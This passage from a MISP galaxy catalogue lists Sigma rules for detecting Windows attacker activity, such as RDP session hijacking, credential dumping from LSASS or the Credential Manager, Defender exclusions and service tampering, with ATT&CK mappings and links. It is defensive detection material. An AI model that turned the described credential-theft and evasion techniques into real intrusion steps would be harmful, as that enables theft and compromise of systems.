Detects RDP session hijacking by using MSTSC shadowing

The tag is: *misp-galaxy:sigma-rules="Potential MSTSC Shadowing Activity"*

View relationships graph

Potential MSTSC Shadowing Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002" with estimative-language:likelihood-probability="almost-certain"

Table 15056. Table References

Links
https://twitter.com/kmkz_security/status/1220694202301976576
https://github.com/kmkz/Pentesting/blob/47592e5e160d3b86c2024f09ef04ceb87d204995/Post-Exploitation-Cheat-Sheet
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc_rdp_hijack_shadowing.yml

Potential PowerShell Console History Access Attempt via History File

Detects potential access attempts to the PowerShell console history directly via history file (ConsoleHost_history.txt). This can give access to plaintext passwords used in PowerShell commands or used for general reconnaissance.

The tag is: *misp-galaxy:sigma-rules="Potential PowerShell Console History Access Attempt via History File"*

View relationships graph

Potential PowerShell Console History Access Attempt via History File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

Table 15057. Table References

Links
https://0xdf.gitlab.io/2018/11/08/powershell-history-file.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_console_history_file_access.yml

Suspicious PowerShell Parameter Substring

Detects suspicious PowerShell invocation with a parameter substring

The tag is: *misp-galaxy:sigma-rules="Suspicious PowerShell Parameter Substring"*

View relationships graph

Suspicious PowerShell Parameter Substring has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15058. Table References

Links
http://www.danielbohannon.com/blog-1/2017/3/12/powershell-execution-argument-obfuscation-how-it-can-make-detection-easier
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_parameter_variation.yml

Service StartupType Change Via Sc.EXE

Detect the use of "sc.exe" to change the startup type of a service to "disabled" or "demand"

The tag is: *misp-galaxy:sigma-rules="Service StartupType Change Via Sc.EXE"*

View relationships graph

Service StartupType Change Via Sc.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15059. Table References

Links
https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_disable_service.yml

SQL Client Tools PowerShell Session Detection

This rule detects execution of a PowerShell code through the sqltoolsps.exe utility, which is included in the standard set of utilities supplied with the Microsoft SQL Server Management studio. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.

The tag is: *misp-galaxy:sigma-rules="SQL Client Tools PowerShell Session Detection"*

View relationships graph

SQL Client Tools PowerShell Session Detection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 15060. Table References

Links
https://twitter.com/pabraeken/status/993298228840992768
https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OtherMSBinaries/Sqltoolsps.yml
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mssql_sqltoolsps_susp_execution.yml

Active Directory Structure Export Via Csvde.EXE

Detects the execution of "csvde.exe" in order to export organizational Active Directory structure.

The tag is: *misp-galaxy:sigma-rules="Active Directory Structure Export Via Csvde.EXE"*

View relationships graph

Active Directory Structure Export Via Csvde.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

Table 15061. Table References

Links
https://redcanary.com/blog/msix-installers/
https://www.cybereason.com/blog/research/operation-ghostshell-novel-rat-targets-global-aerospace-and-telecoms-firms
https://businessinsights.bitdefender.com/deep-dive-into-a-backdoordiplomacy-attack-a-study-of-an-attackers-toolkit
https://web.archive.org/web/20180725233601/https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csvde_export.yml

Suspicious Manipulation Of Default Accounts Via Net.EXE

Detects suspicious manipulations of default accounts such as 'administrator' and 'guest'. For example 'enable' or 'disable' accounts or change the password...etc

The tag is: *misp-galaxy:sigma-rules="Suspicious Manipulation Of Default Accounts Via Net.EXE"*

View relationships graph

Suspicious Manipulation Of Default Accounts Via Net.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

Table 15062. Table References

Links
https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html
https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/
https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_default_accounts_manipulation.yml

Hardware Model Reconnaissance Via Wmic.EXE

Detects the execution of WMIC with the "csproduct" which is used to obtain information such as hardware models and vendor information

The tag is: *misp-galaxy:sigma-rules="Hardware Model Reconnaissance Via Wmic.EXE"*

View relationships graph

Hardware Model Reconnaissance Via Wmic.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 15063. Table References

Links
https://www.uptycs.com/blog/kuraystealer-a-bandit-using-discord-webhooks
https://jonconwayuk.wordpress.com/2014/01/31/wmic-csproduct-using-wmi-to-identify-make-and-model-of-hardware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_csproduct.yml

Remote Access Tool - UltraViewer Execution

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - UltraViewer Execution"*

View relationships graph

Remote Access Tool - UltraViewer Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 15064. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_ultraviewer.yml

Use of OpenConsole

Detects usage of OpenConsole binary as a LOLBIN to launch other binaries to bypass application Whitelisting

The tag is: *misp-galaxy:sigma-rules="Use of OpenConsole"*

View relationships graph

Use of OpenConsole has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15065. Table References

Links
https://twitter.com/nas_bench/status/1537563834478645252
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_openconsole.yml

Curl Web Request With Potential Custom User-Agent

Detects execution of "curl.exe" with a potential custom "User-Agent". Attackers can leverage this to download or exfiltrate data via "curl" to a domain that only accept specific "User-Agent" strings

The tag is: *misp-galaxy:sigma-rules="Curl Web Request With Potential Custom User-Agent"*

Table 15066. Table References

Links
https://labs.withsecure.com/publications/fin7-target-veeam-servers
https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_custom_user_agent.yml

Insecure Proxy/DOH Transfer Via Curl.EXE

Detects execution of "curl.exe" with the "insecure" flag over proxy or DOH.

The tag is: *misp-galaxy:sigma-rules="Insecure Proxy/DOH Transfer Via Curl.EXE"*

Table 15067. Table References

Links
https://curl.se/docs/manpage.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_insecure_proxy_or_doh.yml

NtdllPipe Like Activity Execution

Detects command that type the content of ntdll.dll to a different file or a pipe in order to evade AV / EDR detection. As seen being used in the POC NtdllPipe

The tag is: *misp-galaxy:sigma-rules="NtdllPipe Like Activity Execution"*

Table 15068. Table References

Links
https://web.archive.org/web/20220306121156/https://www.x86matthew.com/view_post?id=ntdll_pipe
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_ntdllpipe_redirect.yml

Suspicious File Encoded To Base64 Via Certutil.EXE

Detects the execution of certutil with the "encode" flag to encode a file to base64 where the extensions of the file is suspicious

The tag is: *misp-galaxy:sigma-rules="Suspicious File Encoded To Base64 Via Certutil.EXE"*

View relationships graph

Suspicious File Encoded To Base64 Via Certutil.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 15069. Table References

Links
https://www.virustotal.com/gui/file/34de4c8beded481a4084a1fd77855c3e977e8ac643e5c5842d0f15f7f9b9086f/behavior
https://www.virustotal.com/gui/file/35c22725a92d5cb1016b09421c0a6cdbfd860fd4778b3313669b057d4a131cb7/behavior
https://www.virustotal.com/gui/file/4abe1395a09fda06d897a9c4eb247278c1b6cddda5d126ce5b3f4f499e3b8fa2/behavior
https://www.virustotal.com/gui/file/427616528b7dbc4a6057ac89eb174a3a90f7abcf3f34e5a359b7a910d82f7a72/behavior
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_encode_susp_extensions.yml

Potential SysInternals ProcDump Evasion

Detects uses of the SysInternals ProcDump utility in which ProcDump or its output get renamed, or a dump file is moved or copied to a different name

The tag is: *misp-galaxy:sigma-rules="Potential SysInternals ProcDump Evasion"*

View relationships graph

Potential SysInternals ProcDump Evasion has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15070. Table References

Links
https://twitter.com/mrd0x/status/1480785527901204481
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_procdump_evasion.yml

Taskmgr as LOCAL_SYSTEM

Detects the creation of taskmgr.exe process in context of LOCAL_SYSTEM

The tag is: *misp-galaxy:sigma-rules="Taskmgr as LOCAL_SYSTEM"*

View relationships graph

Taskmgr as LOCAL_SYSTEM has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 15071. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_taskmgr_localsystem.yml

Windows Credential Manager Access via VaultCmd

List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe

The tag is: *misp-galaxy:sigma-rules="Windows Credential Manager Access via VaultCmd"*

View relationships graph

Windows Credential Manager Access via VaultCmd has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"

Table 15072. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.004/T1555.004.md#atomic-test-1---access-saved-credentials-via-vaultcmd
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vaultcmd_list_creds.yml

Firewall Rule Deleted Via Netsh.EXE

Detects the removal of a port or application rule in the Windows Firewall configuration using netsh

The tag is: *misp-galaxy:sigma-rules="Firewall Rule Deleted Via Netsh.EXE"*

View relationships graph

Firewall Rule Deleted Via Netsh.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 15073. Table References

Links
https://app.any.run/tasks/8bbd5b4c-b82d-4e6d-a3ea-d454594a37cc/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_delete_rule.yml

Suspicious Extrac32 Alternate Data Stream Execution

Extract data from cab file and hide it in an alternate data stream

The tag is: *misp-galaxy:sigma-rules="Suspicious Extrac32 Alternate Data Stream Execution"*

View relationships graph

Suspicious Extrac32 Alternate Data Stream Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 15074. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Extrac32/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml

Suspicious Execution of Powershell with Base64

Commandline to launch powershell with a base64 payload

The tag is: *misp-galaxy:sigma-rules="Suspicious Execution of Powershell with Base64"*

View relationships graph

Suspicious Execution of Powershell with Base64 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15075. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-20---powershell-invoke-known-malicious-cmdlets
https://mikefrobbins.com/2017/06/15/simple-obfuscation-with-powershell-using-base64-encoding/
https://unit42.paloaltonetworks.com/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_encode.yml

Potential File Download Via MS-AppInstaller Protocol Handler

Detects usage of the "ms-appinstaller" protocol handler via command line to potentially download arbitrary files via AppInstaller.EXE The downloaded files are temporarly stored in ":\Users\%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetCache\<RANDOM-8-CHAR-DIRECTORY>"

The tag is: *misp-galaxy:sigma-rules="Potential File Download Via MS-AppInstaller Protocol Handler"*

View relationships graph

Potential File Download Via MS-AppInstaller Protocol Handler has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15076. Table References

Links

https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ms_appinstaller_download.yml

Suspicious Electron Application Child Processes

Detects suspicious child processes of electron apps (teams, discord, slack, etc.). This could be a potential sign of ".asar" file tampering (See reference section for more information) or binary execution proxy through specific CLI arguments (see related rule)

The tag is: *misp-galaxy:sigma-rules="Suspicious Electron Application Child Processes"*

Table 15077. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/msedgewebview2/
https://lolbas-project.github.io/lolbas/Binaries/Msedge/
https://lolbas-project.github.io/lolbas/Binaries/Teams/
https://github.com/mttaggart/quasar
https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf
https://taggart-tech.com/quasar-electron/
https://positive.security/blog/ms-officecmd-rce
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_electron_app_children.yml

Suspicious Script Execution From Temp Folder

Detects a suspicious script executions from temporary folder

The tag is: *misp-galaxy:sigma-rules="Suspicious Script Execution From Temp Folder"*

View relationships graph

Suspicious Script Execution From Temp Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15078. Table References

Links
https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_temp.yml

HackTool - SafetyKatz Execution

Detects the execution of the hacktool SafetyKatz via PE information and default Image name

The tag is: *misp-galaxy:sigma-rules="HackTool - SafetyKatz Execution"*

View relationships graph

HackTool - SafetyKatz Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15079. Table References

Links
https://github.com/GhostPack/SafetyKatz
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_safetykatz.yml

Suspicious Process Masquerading As SvcHost.EXE

Detects a suspicious process that is masquerading as the legitimate "svchost.exe" by naming its binary "svchost.exe" and executing from an uncommon location. Adversaries often disguise their malicious binaries by naming them after legitimate system processes like "svchost.exe" to evade detection.

The tag is: *misp-galaxy:sigma-rules="Suspicious Process Masquerading As SvcHost.EXE"*

View relationships graph

Suspicious Process Masquerading As SvcHost.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Match Legitimate Resource Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

Table 15080. Table References

Links
https://tria.ge/240731-jh4crsycnb/behavioral2
https://redcanary.com/blog/threat-detection/process-masquerading/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_svchost_masqueraded_execution.yml

Computer Password Change Via Ksetup.EXE

Detects password change for the computer’s domain account or host principal via "ksetup.exe"

The tag is: *misp-galaxy:sigma-rules="Computer Password Change Via Ksetup.EXE"*

Table 15081. Table References

Links
https://twitter.com/Oddvarmoe/status/1641712700605513729
https://learn.microsoft.com/en-gb/windows-server/administration/windows-commands/ksetup
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ksetup_password_change_computer.yml

Suspicious Windows Service Tampering

Detects the usage of binaries such as 'net', 'sc' or 'powershell' in order to stop, pause, disable or delete critical or important Windows services such as AV, Backup, etc. As seen being used in some ransomware scripts

The tag is: *misp-galaxy:sigma-rules="Suspicious Windows Service Tampering"*

View relationships graph

Suspicious Windows Service Tampering has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15082. Table References

Links
https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/delete-method-in-class-win32-service
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus/Genshin%20Impact%20Figure%2010.jpg
https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/
https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_tamper.yml

Data Export From MSSQL Table Via BCP.EXE

Detects the execution of the BCP utility in order to export data from the database. Attackers were seen saving their malware to a database column or table and then later extracting it via "bcp.exe" into a file.

The tag is: *misp-galaxy:sigma-rules="Data Export From MSSQL Table Via BCP.EXE"*

View relationships graph

Data Export From MSSQL Table Via BCP.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"

Table 15083. Table References

Links
https://asec.ahnlab.com/en/78944/
https://asec.ahnlab.com/en/61000/
https://news.sophos.com/en-us/2024/08/07/sophos-mdr-hunt-tracks-mimic-ransomware-campaign-against-organizations-in-india/
https://docs.microsoft.com/en-us/sql/tools/bcp-utility
https://www.huntress.com/blog/attacking-mssql-servers-pt-ii
https://www.huntress.com/blog/attacking-mssql-servers
https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bcp_export_data.yml

Suspicious Child Process Of Wermgr.EXE

Detects suspicious Windows Error Reporting manager (wermgr.exe) child process

The tag is: *misp-galaxy:sigma-rules="Suspicious Child Process Of Wermgr.EXE"*

View relationships graph

Suspicious Child Process Of Wermgr.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 15084. Table References

Links
https://github.com/binderlabs/DirCreate2System
https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html
https://www.echotrail.io/insights/search/wermgr.exe
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wermgr_susp_child_process.yml

Powershell Defender Exclusion

Detects requests to exclude files, folders or processes from Antivirus scanning using PowerShell cmdlets

The tag is: *misp-galaxy:sigma-rules="Powershell Defender Exclusion"*

View relationships graph

Powershell Defender Exclusion has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15085. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
https://learn.microsoft.com/en-us/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus
https://twitter.com/AdamTheAnalyst/status/1483497517119590403
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_exclusion.yml

HackTool - ADCSPwn Execution

Detects command line parameters used by ADCSPwn, a tool to escalate privileges in an active directory network by coercing authenticate from machine accounts and relaying to the certificate service

The tag is: *misp-galaxy:sigma-rules="HackTool - ADCSPwn Execution"*

View relationships graph

HackTool - ADCSPwn Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay -

T1557.001" with estimative-language:likelihood-probability="almost-certain"

Table 15086. Table References

Links
https://github.com/bats3c/ADCSPwn
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_adcspwn.yml

Potentially Suspicious Execution Of PDQDeployRunner

Detects suspicious execution of "PDQDeployRunner" which is part of the PDQDeploy service stack that is responsible for executing commands and packages on a remote machines

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Execution Of PDQDeployRunner"*

Table 15087. Table References

Links
https://twitter.com/malmoeb/status/1550483085472432128
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pdqdeploy_runner_susp_children.yml

Sysinternals PsSuspend Execution

Detects usage of Sysinternals PsSuspend which can be abused to suspend critical processes

The tag is: *misp-galaxy:sigma-rules="Sysinternals PsSuspend Execution"*

View relationships graph

Sysinternals PsSuspend Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 15088. Table References

Links
https://twitter.com/0gtweet/status/1638069413717975046
https://learn.microsoft.com/en-us/sysinternals/downloads/pssuspend
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_pssuspend_execution.yml

Suspicious Service Path Modification

Detects service path modification via the "sc" binary to a suspicious command or path

The tag is: *misp-galaxy:sigma-rules="Suspicious Service Path Modification"*

View relationships graph

Suspicious Service Path Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 15089. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md
https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_service_path_modification.yml

Renamed Vmnat.exe Execution

Detects renamed vmnat.exe or portable version that can be used for DLL side-loading

The tag is: *misp-galaxy:sigma-rules="Renamed Vmnat.exe Execution"*

View relationships graph

Renamed Vmnat.exe Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 15090. Table References

Links
https://twitter.com/malmoeb/status/1525901219247845376
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_vmnat.yml

PowerShell Get-Clipboard Cmdlet Via CLI

Detects usage of the 'Get-Clipboard' cmdlet via CLI

The tag is: *misp-galaxy:sigma-rules="PowerShell Get-Clipboard Cmdlet Via CLI"*

View relationships graph

PowerShell Get-Clipboard Cmdlet Via CLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

Table 15091. Table References

Links
https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.md
https://github.com/OTRF/detection-hackathon-apt29/issues/16
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_get_clipboard.yml

Potential COM Objects Download Cradles Usage - Process Creation

Detects usage of COM objects that can be abused to download files in PowerShell by CLSID

The tag is: *misp-galaxy:sigma-rules="Potential COM Objects Download Cradles Usage - Process Creation"*

View relationships graph

Potential COM Objects Download Cradles Usage - Process Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15092. Table References

Links
https://learn.microsoft.com/en-us/dotnet/api/system.type.gettypefromclsid?view=net-7.0
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=57
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_com_cradles.yml

Suspicious Process By Web Server Process

Detects potentially suspicious processes being spawned by a web server process which could be the result of a successfully placed web shell or exploitation

The tag is: *misp-galaxy:sigma-rules="Suspicious Process By Web Server Process"*

View relationships graph

Suspicious Process By Web Server Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 15093. Table References

Links
https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_susp_process_spawned_from_webserver.yml

Suspicious Schtasks Schedule Types

Detects scheduled task creations or modification on a suspicious schedule type

The tag is: *misp-galaxy:sigma-rules="Suspicious Schtasks Schedule Types"*

View relationships graph

Suspicious Schtasks Schedule Types has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 15094. Table References

Links
http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_schedule_type.yml

Delete All Scheduled Tasks

Detects the usage of schtasks with the delete flag and the asterisk symbol to delete all tasks from the schedule of the local computer, including tasks scheduled by other users.

The tag is: *misp-galaxy:sigma-rules="Delete All Scheduled Tasks"*

View relationships graph

Delete All Scheduled Tasks has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 15095. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-delete
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_delete_all.yml

BitLockerTogo.EXE Execution

Detects the execution of "BitLockerToGo.EXE". BitLocker To Go is BitLocker Drive Encryption on removable data drives. This feature includes the encryption of, USB flash drives, SD cards, External hard disk drives, Other drives that are formatted by using the NTFS, FAT16, FAT32, or exFAT file system. This is a rarely used application and usage of it at all is worth investigating. Malware such as Lumma stealer has been seen using this process as a target for process hollowing.

The tag is: *misp-galaxy:sigma-rules="BitLockerTogo.EXE Execution"*

View relationships graph

BitLockerTogo.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15096. Table References

Links
https://tria.ge/240521-ynezpagf56/behavioral1
https://any.run/report/6eea2773c1b4b5c6fb7c142933e220c96f9a4ec89055bf0cf54accdcde7df535/a407f006-ee45-420d-b576-f259094df091
https://bazaar.abuse.ch/sample/8c75f8e94486f5bbf461505823f5779f328c5b37f1387c18791e0c21f3fdd576/
https://bazaar.abuse.ch/sample/64e6605496919cd76554915cbed88e56fdec10dec6523918a631754664b8c8d3/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitlockertogo_execution.yml

Potential Persistence Via VMwareToolBoxCmd.EXE VM State Change Script

